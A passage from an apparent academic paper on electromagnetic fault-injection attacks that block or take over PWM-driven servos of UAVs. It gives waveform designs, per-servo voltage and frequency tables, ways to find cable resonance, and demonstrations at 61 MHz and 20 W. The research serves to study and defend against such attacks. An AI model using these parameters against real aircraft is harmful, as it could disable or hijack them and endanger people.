actuators are non-responsive to low-amplitude DC signals ap-
plied to PWM input, which shows that the duration between
rising and falling edges of the PWM is used to determine the
actuation data.

2.1 Threat Model
The threat model assumes an attacker aims to block or take

over the control of PWM-based actuators with EMI. For an
EM coupling discussion specific to attack scenario based on
Faraday’s law of induction [16], the reader is referred to Sec-
tion 3. Throughout the attacks, there is no physical contact
between the attacker and the victim hardware. Unlike high
power EM attacks, in which the attacker aims to damage the
victim circuitry and operation with excessive EM power [17],
the FAI attacks are low–power and untraceable, and only in-
tend to alter the victim PWM signal through EM coupling.
The maximum attack power is limited to 20 W, which is ob-
tainable with COTS amplifiers. In the first attack scenario
which requires less–power, the attacker aims to block the ac-
tuation data to incapacitate the victim actuation control but

not to inject false commands. In the second attack scenario,
the attacker also aims to inject false actuation data to take
control of victim actuators. The attacker has access to RF com-
ponents like amplifiers and antennas, as well as information
about the topology of the victim system, e.g., the estimated
length of PWM cables.

2.2 Previously Reported Attack Waveforms

A 50 Hz sawtooth waveform that generates an ‘artificial’
voltage drop on a PWM signal to depreciate the actuation
data is reported in [6]. Although the low-frequency waveform
is capable of rotating servo counterclockwise, the attack has
certain limitations, which we addressed with high-frequency
attack waveforms with amplitude modulation. Firstly, the
50 Hz sawtooth waveform is effective from a few cms and the
attacker needs to wrap the PWM coils of the victim around
the attacker toroid because the induced voltage is propor-
tional to the time derivative of the attacker current, i.e., attack
frequency (dsin(ωt)/dt = ωcos(ωt)) [6, 18]. The reader is
referred to Appendix A for a detailed discussion about the
induced voltage and attacker frequency relationship. A rela-
tively low-frequency (10 MHz) Pulsed Sinusoid is suggested
in [19] to increase the thigh and rotate the servo to clockwise
direction. However, each of these waveforms assume the at-
tacker can synchronize the attack signal with the victim’s
PWM signal (i.e., the exact timing of victim PWM pulses),
which requires an additional receiver (e.g., an antenna, low-
noise amplifier (LNA), and a signal processing unit). Adding
to that, as the previously discussed attacks do not exploit
any special coupling mechanism, the attacks are limited to
a short distance, i.e., the attacker radiator should be placed
around the victim cables [6, 19]. In the following sections,
three attack waveforms, namely Block, Block & Rotate, and
Full Control, will be reported to address the distance and the
synchronization limitations.

2.3 Wired Experimental Setup

A wired setup (Figure 3), in which the attack waveforms
are added to the victim PWM and fed to the actuators, is
adopted to test the response of the actuators to the reported at-
tack waveforms.The wired–setup (i.e., conducted) minimizes
the noise and the effect of the antenna pattern, which is nec-
essary for a wireless setup. The victim side is a UAV system
with a Futaba Ground Radio Controller that relays the control
from the operator to a UAV Autopilot (e.g., Pixhawk) which
converts the control information to a PWM signal and sends
it to the servo motor. A voltage buffer is used to eliminate
loading that might distort the waveform of the PWM. The
attack waveform carrier is generated by a Rohde & Schwarz
SMU 200 Vector Signal Generator during all attack scenarios.
In the Block & Rotate and Full Control attacks, a Keysight
33600A Waveform Generator is added to the setup for enve-
lope generation.
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(a) (b) (c) (d)

Figure 2: PWM and servo motor control (a) Legitimate PWM signal (b) thigh = 1ms, servo motor rotates to leftmost position. (c)
thigh = 1.5ms, servo motor rotates to center position. (d) thigh = 2ms, servo motor rotates to rightmost position.

Figure 3: The reported attack waveforms are tested in a wired
experimental setup on different servo models.

2.4 Attack Waveform I: Block
A Block attack is a continuous wave signal at the frequency

fa (Figure 4a), which induces a voltage in the victim PWM
circuitry, which prevents the servo from detecting the rising
and falling edges of the original PWM. The efficiency of the
attack depends on the attacker frequency ( fa) and victim res-
onant frequency ( fv). The attacker can use victim resonant
frequencies to increase attack distance. Analytical and exper-
imental approaches are discussed in Section 3 to detect the
victim resonance.

Wired Setup Results for Block: A Block waveform with
a peak value (Vp) and frequency ( fa) (Figure 4a) is applied to
the servo models in the wired setup (Figure 3). The follow-
ing procedure is followed with frequencies ( fa) of 8.75MHz,
17.5MHz, 35MHz, 70MHz, and 140MHz. The frequencies
are chosen close to the resonance of the fixed-wing UAV on
which the attacks will be demonstrated.

1. Establish servo control through ground radio controller.
2. Inject Block waveform starting from -30 dBm with 1

dBm increments.
3. Detect minimum Vp for successful attack (i.e., ground

controller is not able to control servo rotation).

The red boxes (Table 1) display the successful attacks (i.e.,
the control of servo motor is lost). It is observed that all
servo models can be blocked with varying attack powers (
Vp); however, some servo models are more sensitive to the
Block waveform. The Eflite models can be blocked with lower

Vp values up to 70MHz; another observation is that Futaba
servos move freely (i.e., an external torque can move them.)
during an attack, while Eflite and HiTec servos lock to the
rotation angle of the instant the attack is initiated. Especially
lower frequencies around fa = 8.75MHz requires lower Vp
for successful attacks, the authors believe this is due to the low
pass characteristic introduced by the shunt capacitance at the
input of the servo microcontroller pin. It should be noted that
the efficient attack frequency is a combined effect of victim
resonance and servo frequency response given in Table 1.

2.5 Attack Waveform II: Block & Rotate
The Block waveform blocks the transmission of the rota-

tion angle data to the actuators; however, an advanced wave-
form, with which the attacker to masks/erases the original
rotation data encoded in thigh and injects false actuation data,
is needed to control an actuator. An attacker can use a wide
pulse (thigh > 2ms) to override the original angle data.

To observe how a servo responds to a wide pulse (‘Block’
pulse in Figure 4b) on top of the original pulse, each servo is
rotated to the neutral position (Figure 2c) and then a PWM
signal with an out of range thigh is applied and the servo rota-
tion is observed. During all measurements, tPWM and Vhigh are
kept constant at 20ms and 3.3V, respectively. It is observed
that all tested servo models stay at their position when thigh
is larger than 2 ms. While Eflite and Hitec servos lock (i.e.,
an external torque can not move them.), it is observed that
Futaba servos move freely. The response of Eflite and Hitec
might be a precaution to keep the servo rotation stable under
conditions when rotation angle data is not available in the
PWM channel. This observation also shows a weakness of
servo motor control with PWM. An attacker can inject a wide
‘Block’ pulse on top of thigh and block the original actuation

Table 1: Block Attack is successful on all servo models (red
boxes). Minimum peak voltage Vp for varying frequencies is
reported for successful attacks. (MF: Moves Freely, L: Locks)

fa 8.75MHz 17.5MHz 35MHz 70MHz 140MHz

Eflite EFLR 7145 1.14V (L) 1.48V (L) 0.69V (L) 2.10V (L) 7.20V (L)
Eflite EFLR 7155 0.56V (L) 1.01V (L) 1.14V (L) 2.14V (L) 6.50V (L)
Futaba S3151 0.51V (MF) 2.88V (MF) 1.32V (MF) 6.55V (MF) 10.11V (MF)
Futaba S3152 0.52V (MF) 1.55V (MF) 1.30V (MF) 6.70V (MF) 9.10V (MF)
Futaba S3155 0.57V (MF) 1.83V (MF) 1.26V (MF) 5.45V (MF) 4.12V (MF)
Futaba S9650 0.74V (MF) 2.04V (MF) 1.18V (MF) 5.50V (MF) 3.76V (MF)
HiTec HS5245MG 2.28V (L) 2.12V (L) 2.68V (L) 7.35V (L) 4.28V (L)
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(a) (b) (c)

Figure 4: Attack waveforms (a) Block waveform disables the legitimate PWM (blue) (b) Block & Rotate waveform consists of
two pulses: Block pulse eliminates the victim PWM and Rotate pulse injects the false rotation angle. (c) Full Control injects
frequent pulses with a false rotation angle encoded in trotate.

data. However, an additional sinusoidal pulse should be used
to inject the false rotation angle information (‘Rotate’ pulse
in Figure 4b). The duration of the rotate pulse (trotate) deter-
mines the false rotation angle injected into the victim system.
For instance, the attacker can use a Block & Rotate waveform
with trotate = 1ms (Figure 4b) to rotate the servo to -45°.

Wired Setup Results for Block & Rotate: The test proce-
dure in Section 2.4 is followed with the wired setup (Figure 3).
The Block & Rotate waveform is synchronized to the original
PWM with an oscilloscope. The grey boxes in Table 2 shows
the successful attacks in which the attacker can control the
rotation with trotate (Figure 4b). The Eflite models respond to
Block and Rotate by locking to a rotation angle depending
on the servo model and fa. However, it is observed trotate can-
not determine the victim rotation. The authors think that the
microcontroller of Eflite models is saturated due to Block &
Rotate and can not detect the rising and falling edges of the
‘Rotate’ pulse which the false rotation angle information.

Futaba and HiTec servo models can be controlled by the
Block & Rotate attack. A clear correlation between the in-
creasing fa and Vp is observed for successful attacks. The
HiTec model can be controlled by applying an attack wave-
form with Va = 3V and fa = 8.75MHz; however, at higher
frequencies, the attacks were not successful within the setups’
power level. All of the Futaba models can be controlled by
Block & Rotate at fa = 70MHz and fa = 140MHz and at-
tacks at fa = 70MHz require significantly less attack power
on Futaba models.

Block & Rotate enables the injection of false rotation angle
information to the PWM channel, but it requires the attacker

Table 2: Block & Rotate is successful on Futaba and HiTec
models (red boxes). The minimum peak voltage Vp for vary-
ing frequencies is reported. (FC: Full Control, RM: Random
Movement, LA: Locks At, NC: No Control)

fa 8.75MHz 17.5MHz 35MHz 70MHz 140MHz

Eflite EFLR 7145 1.64V (LA 0°) 1.74V (LA 0°) 1.66V (LA 0°) 1.3V (LA 0°) 6.6V (RM)
Eflite EFLR 7155 NC 1.46V (LA 30°) NC 6V (LA 30°) 5.5V (LA 60°)
Futaba S3151 1.84V (FC) NC NC 5.35V (FC) 12.30V (FC)
Futaba S3152 1.20V (FC) 1.94V (FC) NC 4.82V (FC) 14.00V (FC)
Futaba S3155 NC NC NC 4.08V (FC) 12.10V (FC)
Futaba S9650 1.09V (FC) NC NC 4.83V (FC) 12.7V (FC)
HiTec HS5245MG 3.22V (FC) NC NC NC 11.6V (LA 120°)

to synchronize or align the ‘Block’ pulse to the victim PWM.
Despite being theoretically possible with the detection of
magnetic fields emanated from rising and falling edges of the
victim PWM, practically synchronization is difficult. Firstly,
multiple PWM signals controlling the servo motors emanate
a combination of fields, and picking the desired fields re-
quires a sensitive receiver system. Additionally, even though
a sensitive receiver is employed, the magnetic field measure-
ments will be highly dependent on the antenna orientation
and PWM cable position. Although Block & Rotate applies
to stable systems like production lines or solar tracking sys-
tems with PWM-controlled actuators, it is hard to implement
synchronization on a mobile system like a UAV.

2.6 Attack Waveform III: Full Control
In an actuation control application, PWM has a fixed duty

cycle in between %5 <
thigh
tPWM

< %10 (Figure 2a, tPWM =
20ms). An attacker can exploit the low duty cycle nature
of the PWM by injecting an attack PWM with a significantly
larger duty cycle (i.e., the same thigh with lower tPWM), so the
question arises: What happens when an attacker applies a
PWM with a larger duty cycle?

As the thigh range is fixed for actuation control, the attacker
can only modify the tPWM to alter the duty cycle. tPWM is
decreased to 2.5ms and the servo operation is observed by
varying the thigh in between 1ms and 2ms and it is observed
that each servo model can be controlled with the increased
duty cycle PWM. Note that the tPWM value is chosen slightly
larger than the maximum thigh value to maximize the duty
cycle without losing the rising/falling edges. This observa-
tion is the basis for Full Control waveform which consists
of frequent sinusoidal pulses with period 2.5ms and varying
trotate (Figure 4c). The attacker chooses the trotate in the range
[1ms 2ms] to inject false rotation angle information to the
PWM channel. The Full Control does not need synchroniza-
tion to the victim PWM unlike the Block & Rotate. Adding
to that, the high duty cycle Full Control, with frequent rising
and falling edges, masks the original PWM signal and takes
control of the victim actuator.

Wired Setup Results for Full Control: Table 3 shows
the effect of Full Control attack on servo models for varying
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Figure 5: The protection diode rectifies the attack waveform.
The victim capacitance (Cv) is charged up to the peak but not
able to discharge which results in the appearance the attack
waveform envelope at the PWM input.

attack frequencies. It is observed that Eflite EFLR 7145 and
7155 servos respond to Full Control waveform by moving
randomly to a variety of angles. HiTec HS5245MG has also
a very similar response, it randomly moves or locks at some
random angle. Although Full Control waveform prevents the
Pixhawk Autopilot to control the servo, it is not possible to
inject false rotation angle data to fully control the Eflite and
HiTec servos. On the other side, all tested Futaba models can
be controlled with Full Control waveform at reported attack
frequencies. For instance, Futaba S3152 can be controlled
by an attack waveform at fa = 70MHz with a 4.54V peak
voltage in the PWM channel. The control can be achieved
by adjusting the trotate (Figure 4c) in between 1ms and 2ms.
Especially, fa = 70MHz is a significant attack frequency for a
UAV system because it is close to the resonance of the aileron
PWM cable as will be explained in Section 3.3.

2.7 Attack Mechanism
Diode-based protection circuits are simple and cost-

effective in protecting the ports of controllers from excessive
voltage, electrostatic discharge, and reverse currents [20, 21].
However, the diodes combined with the inherent capacitance
and resistance of the victim circuitry can behave as an ‘en-
velope detector’ [22] which enables the use of amplitude-
modulated attack waveforms such as Full Control and Block
& Rotate. In Figure 5, a reverse-current protection diode is
shown to illustrate the attack mechanism. The Rv and Cv in
Figure 5 models the terminal impedance, the by-pass capac-
itors and input capacitance of the victim input. The attack
waveform coupled through the PWM cables is rectified by

Table 3: Full Control is successful on Futaba models (red
boxes). Eflite and HiTec models move randomly; however,
it is not possible to control them. (FC: Full Control, RM:
Random Movement)

fa 8.75MHz 17.5MHz 35MHz 70MHz 140MHz

Eflite EFLR 7145 0.45V (RM) 1.33V (RM) 1.57V (RM) 1.12V (RM) 4.16V (RM)
Eflite EFLR 7155 0.87V (RM) 1.39V (RM) 1.21V (RM) 2.04V (RM) 4.28V (RM)
Futaba S3151 0.77V (RM) 2.54V (RM) 1.84V (RM) 3.80V (FC) 12.40V (FC)
Futaba S3152 1.20V (FC) 1.86V (FC) 1.06V (FC) 4.54V (FC) 11.90V (FC)
Futaba S3155 1.58V (RM) 2.75V (RM) 3.44V (RM) 3.92V (FC) 11.10V (FC)
Futaba S9650 1.11V (FC) 2.94V (RM) 0.94V (RM) 4.16V (FC) 9.10V (FC)
HiTec HS5245MG 2.76V (RM) 2.06V (RM) 2.20V (RM) 3.72V (RM) 6.90V (RM)

the diode, which leaves only the positive cycles. With the first
rectified cycle, the capacitor is charged up to the voltage peak;
however, the capacitor can not discharge between the cycles
due to the high frequency/low period nature of the attack
waveform and relatively high time constant of the parallel
R−C circuit [23]. Additionally, the overall circuitry includ-
ing the diode and Rv, Cv is nothing but an envelope detector
widely used as an AM demodulator in the early radios [22,24].
For the success of the attacks, the rectification of the diode is
the key, because the rectification introduces the low-frequency
component of the attacker, i.e., the envelope. We observed
that Futaba and HiTec servo controller boards consist of diode
protection which is the reason for the successful control of
these servos.

2.8 Comparison of Attack Waveforms
A comparison of attack waveforms is given in Table 4.

Block waveform is prevents the transmission of actuation
data transmission at each tested frequency and observed to be
effective on all tested servo models. The previously reported
Sawtooth [6] and Pulsed Sinusoid [19] waveforms can rotate
the Futaba servo to one direction, but limited in terms of the
attack distance, rotation direction and require synchronization
which necessitates a sensitive receiver (an LNA, filter matched
filter, and possibly a signal processing unit) to detect the EM
leakage of the victim PWM. Block & Rotate and Full Control
enable the attacker to fully control specific servo models by
injecting rotation angle data to the PWM channel. Block
& Rotate is applicable to tested Futaba and HiTec servos
models (Table 2 and 3). As a side note, Full Control exploits
the low duty–cycle nature of the original PWM and injects
the false actuation data very frequently to take control of
the victim actuator without a need for synchronization. Full
Control applies to all Futaba models and gives the attacker
the ‘full control’ of the servo rotation i.e., clockwise and
counter-clockwise rotation.

3 Enabling Attacks at Distance

We propose to demonstrate the FAI attacks on servo motors
of the UAVs which control the moving surfaces of the system
such as ailerons or flaps. The intrusion of unauthorized UAVs
to restricted air spaces provokes many security issues and re-
sults in halting operations in military/civilian air spaces [25].
Between 2013–2015, a total of 921 UAV and manned aircraft
encounters have been recorded in the U.S. national airspace,
with the majority of these encounters within five miles of
an airport, resulting in a halt in flights [26]. To mitigate this
threat, a tracker/defender UAV with the attack system onboard
can be deployed to intercept the intruder UAV and launch FAI
attacks against the intruder to safely drive it towards the cap-
ture region or outside the geofence that defines the boundary
of the restricted airspace. However, for a successful attack, the
tracker is required to be in close proximity to the intruder for
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a certain period of time. Reliable and consistent detection of
the intruder UAV can enable the tracker to pursue the intruder
UAV and gain sufficient proximity to it. This problem has
received significant attention over the years; see [27] for a
review. In restricted airspaces, the tracker can rely on onboard
detection sensors in coordination with ground-based sensors
such as radars, acoustic sensors, vision sensors, etc., for ac-
curate detection of the intruder. Many techniques have also
been proposed to pursue and intercept unauthorized UAVs
for the deployment of countermeasures in [28–30]. For these
strategies to work, the defenders’ capabilities are considered
to be superior to those of the intruder. This assumption is not
limiting, as tracker UAVs of different sizes and classes can be
equipped with the attack mechanism, and the intruder UAV
can be identified and classified using ground-based sensors
before an appropriate tracker UAV is directed to intercept
it. A challenge may arise when the intruder becomes aware
of the tracker and tries to evade it. In these scenarios, strate-
gies based on pursuit-evasion games [31] can be developed
to intercept the evaders. Note that, even when continuously
maintaining close proximity to the intruder is not possible,
the tracker can still compromise the trajectory of the intruder
UAV by launching intermittent attacks. In this work, we do
not consider the detection and tracking problem and focus
only on devising the FAI attacks. Without loss of generality,
the intruder is assumed to be a fixed-wing UAV, while the
tracker is either a fixed-wing UAV or a drone equipped with
an attack setup capable of generating FAI to block or take
control of the intruder’s PWM signals. In the following sec-
tions, the terms intruder/victim and tracker/attacker will be
used interchangeably.

The attacks rely on Faraday’s law of induction [2] to induce
a voltage in the victim PWM circuitry; however, as observed
in the wired setup (Table 1, 2, and 3), the induced voltage
should be a few Volts for successful attacks. These values
are relatively large considering the analog false data injection
scenarios in which a few 100mVs of induced voltage can
result in significant changes in the sensor readings [6], so the
attacker needs to utilize an additional coupling mechanism
to induce more voltage. In the following section, the mutual
coupling between the attacker and the victim is determined
analytically to find an optimal attack frequency that ensures
the maximum induced voltage.

Table 4: Comparison of Attack Waveforms

Block Sawtooth [6]
Pulsed

Sinusoid [19]
Block &
Rotate

Full
Control

Block Data 3 3 3 3 3
Inject False Data 7 3 3 3 3
No need for Synchronization 3 7 7 7 3
Actuation Control One Direction 7 3 3 3 3
Actuation Control Two Directions 7 7 7 3 3
Applicable to Eflite Servos 3 No Data No Data 7 7
Applicable to HiTec Servos 3 No Data No Data 3 7
Applicable to Futaba Servos 3 3 3 3 3

3.1 Electromagnetic Coupling Model
An adversary can use either the near or far field region

produced by the attacker antenna to induce voltages in the
PWM circuitry. The appropriate region for FAI attacks will
be revealed after the explanation of antenna fields.

Far Field Region: The far-field of an antenna lies in the
region R > 2D2

λ
where D is the maximum dimension of the

antenna and λ is the wavelength of the signal [32,33]. The far
field EM waves are plane waves and the electric and magnetic
fields can be shielded with metal surfaces (e.g., aluminum
foil) easily due to the coupled nature of electric and magnetic
fields.

Near Field Region: The near field region lies in the vicin-
ity of the antenna (e.g., R < λ

2π
for an electrically small

dipole [34]) where magnetic and electric fields have a com-
plex relationship unlike the plane waves in the far field. De-
pending on the antenna type, capacitive or inductive energy
may be dominant (e.g., inductive for a loop antenna). An ef-
ficient attack waveform should penetrate the victim system
without significantly attenuated or reflected by metal compo-
nents/wires and induce enough voltage to the victim PWM
circuitry. The far field waves can easily be attenuated and
reflected by the metals. However, low–frequency magnetic
near fields generated by loop antennas are known to penetrate
much more easily to the system because of their decoupled
nature from the electric fields [35]. Adding to that, magnetic
resonant coupling (i.e., coupling through magnetic fields in
the near field between resonant components) is an efficient
way of transferring power over medium distances even in
weakly coupled scenarios (i.e., Wireless Power Transfer) [36].
The magnetic near field region of an inductive antenna is an
efficient way of inducing high voltages in the PWM circuitry.

For the derivation of the coupling ratio between the attacker
antenna and the victim loop, the model illustrated in Figure 6a
are used. The attacker antenna is excited with a time–varying
attacker current, ia = Iasin(wt), and consequently generates a
magnetic field. This magnetic field is captured by the victim
PWM loop which results in induced voltages. The orientation
of the antenna and PWM loop is assumed to be through z-
axis throughout the analysis. However, it should be noted the
surface normal of the antenna and victim cable may not align
during attacks. The reported scenario, in which the surface
normals of the antenna and victim circuitry are parallel, pro-
vides maximum coupling and induced voltage to the victim.

The coupling ratio, k, is the ratio of the flux captured by
the victim loop (ψv) to the total flux generated by the attacker
antenna, ψa. Sa and Sv are areas of attacker antenna and PWM
loop, respectively. The detailed derivation for the coupling
coefficient, k, can be found in Appendix A.

k =
ψv

ψa
=

∫∫
Sv

B ·dS∫∫
Sa

B ·dS
(1)

The UAV flap and aileron PWM cable lengths are 60 cm and
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(a) (b)

Figure 6: The coupling between the attacker antenna and the victim PWM circuitry is found analytically. (a) The model used for
analytical electromagnetic solution and the circuit model for the magnetic resonant coupling (b) The victim PWM cables connect
the controller and servo motors of the UAV. PWM circuitry have different lengths and positions.

Table 5: Coupling coefficients (k) for aileron and flap loops:
xa = 35cm, ya = 35cm, da = 1m, i(t) = 1A at 61 MHz

Victim Loop Size ψa (Wb) ψv (Wb) k

Flap Loop (xv = 1cm yv = 60cm) 9.58e−7 1.27e−10 1.32e−4
Aileron Loop (xv = 1cm yv = 150cm) 9.58e−7 2.32e−10 2.42e−4

150 cm as shown in Figure 6b. The coupling ratio (k) between
antenna and PWM cables is found with (1) and (8). The
attacker antenna size (xa = 35cm, ya = 35cm) and the attack
distance (da = 1m) are fixed. The analytically found coupling
ratios for cables are very small and on the level of 10−4 (Table
5), which means the attacker and victim is weakly coupled
and an additional approach is required to induce multiple
Volts reported in Table 1, 2 and 3.

3.2 Circuit Model for the Attack

Kurs et al. showed that magnetic resonant coupling (MRC)
can be utilized efficiently to transfer power wirelessly with
distances up to eight times of the coil radius even in weakly
coupled scenarios [36]. MRC is a specific coupling scenario
where the receiver and transmitter resonate at the same fre-
quency and coupling is inductive, i.e., dominantly via mag-
netic fields. This phenomenon makes highly–efficient Wire-
less Power Transfer (WPT) applications, up to 75.7% for
weakly coupled scenarios [37], possible [38]. A magnetic
resonant coupled series to parallel circuit model is provided
in Figure 6a for the attack scenario, in which Lv, Cv, and Rv
are the inductance, capacitance, and resistance of the victim
circuitry, e..g., PWM cables. Lv and Cv are determined by the
length of the cables and parasitic capacitances, respectively.
Rv is the resistance of victim circuitry that includes copper
loss and the load termination. The resonant frequencies of the

victim loop ( fv) and attacker antenna ( fa) are:

fv =
1

2π
√

LvCv
, fa =

1
2π
√

LaCa
(2)

According to the threat model, the attacker can not physically
modify the victim system and alter the victim resonance ( fv);
however, a resonant attacker antenna can be adopted that has
the same resonant frequency with the victim ( fa = fv). Espe-
cially for Tesla coils, magnetic resonant coupled circuits have
been investigated through Kirchoff’s circuit law [39], and it is
concluded, regardless of the coupling strength (e.g., weakly),
the attacker and victim circuits should have the same resonant
frequencies to transfer maximum energy, i.e., fa = fv [40].
If k is above a value called critical coupling, a phenomenon
called resonance splitting occurs due to the loading effect of
the secondary coils (victim side) and the attacker waveform
frequency ( fs) should be adjusted to one of the two operating
frequencies which are above fs+ and below fs− the uncoupled
resonance frequencies of victim or attacker, i.e., fa and fv.

fs+ =
fv√

1− k
, fs− =

fv√
1+ k

(3)

where the optimum attack condition is fs = fa = fv. However,
as analytically we found that k is very small (k << 1) (Table
5), fs+ and fs− in (3) converge. Thus, for an efficient attack
(e.g., the same attack power with larger attack distance), the
attacker needs to have a resonant antenna at victim resonant
frequency ( fv) and also the attack waveform frequency, fs,
should be tuned to the victim resonant frequency, fv.

3.3 Detection of the Victim Resonance
To detect the victim resonant frequency, fv, the attacker can

use an analytical or an experimental approach. While the ana-
lytical approach gives an estimation of the victim resonance
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Figure 7: The aileron and flap PWM cable resonances are experimentally determined with a transmission measurement (S21).
(a) The test setup includes toroids, magnetic field probe and a spectrum analyzer. (b) At the cable resonant frequency, the
transmission makes a peak. Aileron cable has a lower resonant frequency (61 MHz) as expected because of its larger length.

with limited information about the victim (e.g., cable length),
the experimental approach, that requires a measurement on the
victim circuitry, presents a more accurate resonant frequency
detection.

3.3.1 Analytical Detection of the Resonance
The resonant frequency of a cable is determined by the

length, parasitic capacitance, and termination of the victim
PWM cable. Depending on the termination, the resonant fre-
quency can be at quarter-wavelength (for short termination) or
half-wavelength (for open termination) frequency [41]. As the
PWM cables are terminated by the high impedance loads such
as controller outputs and servo motor input, an open termina-
tion is a proper representation that corresponds to a resonant
frequency at the half-wavelength frequency for PWM cables.
fv can be found as follows:

fv = A
c

(2∗LPWM)
= 0.7

c
(2∗LPWM)

(4)

where LPWM is the length of the cable, c is the speed of light
in a vacuum, and A is a constant that compensates for the
reduced speed of light due to the cable insulators. The cable
insulators (e.g., PVC) have relative dielectric constants be-
tween εr = 2 and εr = 3 [42, 43], which can be introduced
with A = 0.7 accurately [41,44]. (4) can be used to generate a
database of attack frequencies (e.g., a UAV attack frequency
database with the UAV dimensions publicly available.). If
the analytically found frequency differs from the actual res-
onance due to, e.g., loading effect and parasitic capacitance,
the attacker could use a narrow band-attack signal centered
around the analytical resonant frequency to increase the prob-
ability that resonant coupling is achieved. Conversely, the
attacker could vary the frequency of the attack signal around
the analytically found resonant frequency and detect the exact
resonant frequency by the induced effect on the victim.

3.3.2 Experimental Detection of the Resonance
Although the analytical approach provides a resonance

estimation with limited information about the victim, an ex-

perimental approach can be used to measure fv. Smith reports
a method in which a transmission measurement is imple-
mented through current clamps located around the cables
under test [41]. The method reported here is similar but em-
ploys ferrite toroids and a field probe instead of the current
clamps. The experimental setup (Figure 7a) includes a Rohde
& Schwarz spectrum analyzer with a tracking generator that
sweeps the frequency band in between 1MHz and 499MHz
to make a transmission measurement, i.e., S21. The excita-
tion port (Port 1) of the spectrum analyzer is connected to
a toroid with 60 coils, and the measurement port (Port 2) of
the spectrum analyzer is connected to a field probe which
measures the field of the measurement toroid. The system
under test includes a battery, flight controller, ground con-
troller, PWM cables, and servos, which are fully operational
during measurements. The left and right-wing PWM cables
are positioned inside the excitation and measurement toroids
as displayed in Figure 7a. The measurement toroid picks up
the field generated in the cable, and the resonance frequency
is detected when the maximum transmission occurs.

Figure 7b provides the normalized transmission measure-
ment of aileron (150 cm) and flap (60 cm) PWM cables. The
loading effect due to servos and flight controller exists but
does not significantly affect the position of the resonant
frequency. The aileron measurement makes a peak around
61 MHz which is the resonant frequency for the aileron ca-
ble. Additionally, the flap cable has a resonance at 152 MHz
(Table 6). The measurements show that the attacker can use a
resonant frequency to attack a specific control surface (e.g.,
61 MHz for ailerons), and cable length is inversely propor-
tional to the resonance frequency. For comparison, the analyt-
ical approach estimates a resonance frequency at 70 MHz and
175 MHz for aileron and flap cables, respectively (Table 6).

4 Indoor Attack Demonstrations on a UAV

For indoor attack demonstrations, a Cessna 150 (C150)
fixed-wing UAV with a wingspan of 2.1 m is used as an in-
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Figure 8: The Block and Full Control attacks are demonstrated indoors. The effect of the attacks is measured through quadrature
encoders located on the right aileron servo shaft. (a) The experimental setup includes a fixed-wing UAV and attacker system.
The attacker antenna is located under the left-wing of the UAV and the efficacy of the attacks are measured with varying attack
distances at fixed attack power 20 W. (b) Block demonstration: The original rotation angle (blue) sent from the ground controller
can not control the servo during the attack; The servo is ‘blocked’ at the neutral position (red). Attack distance is 50 cm. (c) Full
Control demonstration: The attacker increases trotate (at every 3 s) and the control surfaces (i.e., ailerons) rotate with varying
trotate while the victim tries to keep the ailerons at neutral position (blue). The attack distance is 25 cm.

Table 6: Detected victim PWM cable resonances, fv.

Aileron PWM Cable (150cm) Flap PWM Cable (60cm)

Experimental 61MHz 152MHz
Analytical 70MHz 175MHz

truder/victim [45] as shown in Figure 8a. The ailerons of the
intruder are selected through the use of resonant frequency
for aileron PWM cables 61 MHz measured in the previous
section (Table 6). As the left and right aileron cables are
electrically connected and carry the same PWM, attacks are
effective on both right and left ailerons. The attacker system
consists of a waveform generator, a 20 W RF amplifier, and
a Zero Phase Shift Line (ZPSL) antenna. The ZPSL antenna
resonates at the attack frequency, and details about the design
and production of the antenna are presented in Appendix B.
The victim UAV (Figure 8a) is fully operational for the Block
and Full Control demonstrations except for the DC motor
and propeller for safety reasons. The radio ground controller
sends control signals for actuators. The rotation angle of the
right aileron is measured with a quadrature encoder [46] lo-
cated on the shaft of the Futaba S3155. The encoder converts
the rotation angle of the servo (and also the aileron) to a
quadrature signal and sends it to a TIVA C microcontroller
for angle detection. The antenna is located under the left-wing
deliberately to eliminate the EMI on angle measurements.

Indoor Block Demonstration: In the wired experiments,
it is observed that Block prevents the servo control. To observe
this, an attack with a duration of 15 s is applied, and during
the attack, the victim system attempts to control the servos by
sending neutral (0°), left (-15°), and right (15°) rotation com-
mand. The attack power, frequency, and distance are 20 W,
61 MHz, and 50 cm, respectively. The antenna orientation is

adjusted for maximum attack distance.
Figure 8b demonstrates the rotation angle of ailerons with

(Red) and without (Blue) Block attack. While the IEMI attack
is not applied, the ailerons follow the commands of the victim
system (blue); however, when the Block attack is initiated, the
ailerons stop following the commands of the victim and stays
at the neutral position. When the attack stops, the ground con-
troller retakes the control of the ailerons. The Block waveform
is efficient from a distance up to 50 cm with an attack power
of 20 W; however, the attack distance is observed to be highly
dependent on the antenna orientation and the PWM circuitry
(e.g., cable) position.

Indoor Full Control Demonstration: In section 2.6, it
is observed that Futaba models can be controlled by vary-
ing the pulse duration (trotate) of the Full Control wave-
form (Figure 4c). To observe this, it is assumed that the in-
truder/victim system sends a neutral command to keep the
ailerons at neutral position (0°) during the attack demonstra-
tion. The attacker applies a Full Control waveform with an
incrementally increasing trotate to rotate the ailerons clock-
wise [1.4ms,1.6ms,1.8ms,2ms] at every 3 s. In the end of
the sequence, a trotate = 1.2ms is applied to observe that the
attack is applicable for counterclockwise rotation as well. The
attack distance, power, and frequency are 25 cm, 20 W, and
61 MHz, respectively. It is observed that the attack waveform
moves the ailerons with increasing trotate from left to right as
in Figure 8c, even though the actual PWM signal carries a
neutral position command. Full control is applicable from a
smaller attack distance than Block because the induced wave-
form in the Full Control scenario should be large enough to
make the servo assume that there is a legitimate PWM in
the channel (unlike Block attack during which ‘erasing’ the
original PWM in the channel is sufficient.).
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(a) (b)

Figure 9: In-flight attacker system and the victim UAV (a) The attacker system including the battery, RF module, amplifier, and
the antenna is mounted on the UAV with carbon-fiber rods for in-flight demonstrations. Attack distance is 15 cm. The overall
weight is decreased by carving out a section from the antenna. (b) Victim Pixhawk generates the attack control signals which are
converted to optical signals and sent through fiber cables to the RF module to ensure the control in high EMI. The CW signal at
the victim resonance is modulated with an RF switch and the amplified waveforms are radiated through a ZPSL antenna.

5 In-flight Attack Demonstrations on a UAV

For demonstration purposes, we mount the attacker system
on top of the intruder UAV (see Figure 9a) to try to recreate
the intruder-tracker interception scenario. The overall plat-
form has a gross take-off weight of 6 kg to which the attacker
system contributes 1.4 kg, the setup required to mount the
attacker system contributes 320 g, and the angle measurement
unit contributes 150 g. C150 is a standard fixed-wing UAV
with a propeller and three control surfaces, namely, the el-
evator, the aileron, and the rudder. The propeller generates
the thrust, and the control surfaces are used to maneuver the
UAV. The elevator primarily affects the pitching motion/pitch
attitude (θ), the aileron affects the rolling motion/roll attitude
